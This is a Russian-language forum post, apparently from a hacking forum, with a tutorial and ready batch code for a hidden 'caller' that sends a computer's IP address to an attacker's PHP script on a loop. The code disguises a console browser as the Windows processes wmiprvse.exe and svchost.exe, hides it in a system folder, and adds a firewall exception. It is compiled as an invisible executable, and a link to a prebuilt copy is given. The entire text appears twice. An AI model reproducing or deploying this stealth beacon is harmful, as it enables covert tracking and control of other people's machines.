|qbz|
23.06.2010, 00:58
В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее .
К делу.
Сначала принцип:
Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.
Решение:
Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.
Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:
links.exe http://google.com
Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.
Создание такого файла является простым - достаточно создать лоадер браузера:
"%CD%\wmiprvse.exe" %1
Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".
Теперь, создадим саму стучалку:
copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep
Работа очень проста:
сперва мы скопируем сам браузер в системную папочку,
далее сделаем ее системно-скрытой,
добавим браузер в исключения файрволла,
а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).
Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.
Теперь вооружимся компилятором бат-файлов (его можно найти здесь - /thread175086.html (https://antichat.live/threads/175086/)) и компилируем данный скрипт, с параметрами:
- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files
также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:
svchost.exe http://lovim-ip.ru/ip.php
Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):
Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.
Браузер "Links" (собранный в один файл и не собранный) - Links.zip (http://energetix.xf.cz/files/4d086d26b59c715cbc7e9c52b86e281d/links.zip)
Готовая "звонилка" - Svchost.exe (http://energetix.xf.cz/files/a3688d9e9b86e2a61da5938238b3a03c/svchost.zip)
(запуск: svchost.exe http://adres-php-skripta.com/skript.php)
К делу.
Сначала принцип:
Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.
Решение:
Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.
Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:
links.exe http://google.com
Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.
Создание такого файла является простым - достаточно создать лоадер браузера:
"%CD%\wmiprvse.exe" %1
Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".
Теперь, создадим саму стучалку:
copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep
Работа очень проста:
сперва мы скопируем сам браузер в системную папочку,
далее сделаем ее системно-скрытой,
добавим браузер в исключения файрволла,
а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).
Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.
Теперь вооружимся компилятором бат-файлов (его можно найти здесь - /thread175086.html (https://antichat.live/threads/175086/)) и компилируем данный скрипт, с параметрами:
- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files
также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:
svchost.exe http://lovim-ip.ru/ip.php
Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):
Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.
Браузер "Links" (собранный в один файл и не собранный) - Links.zip (http://energetix.xf.cz/files/4d086d26b59c715cbc7e9c52b86e281d/links.zip)
Готовая "звонилка" - Svchost.exe (http://energetix.xf.cz/files/a3688d9e9b86e2a61da5938238b3a03c/svchost.zip)
(запуск: svchost.exe http://adres-php-skripta.com/skript.php)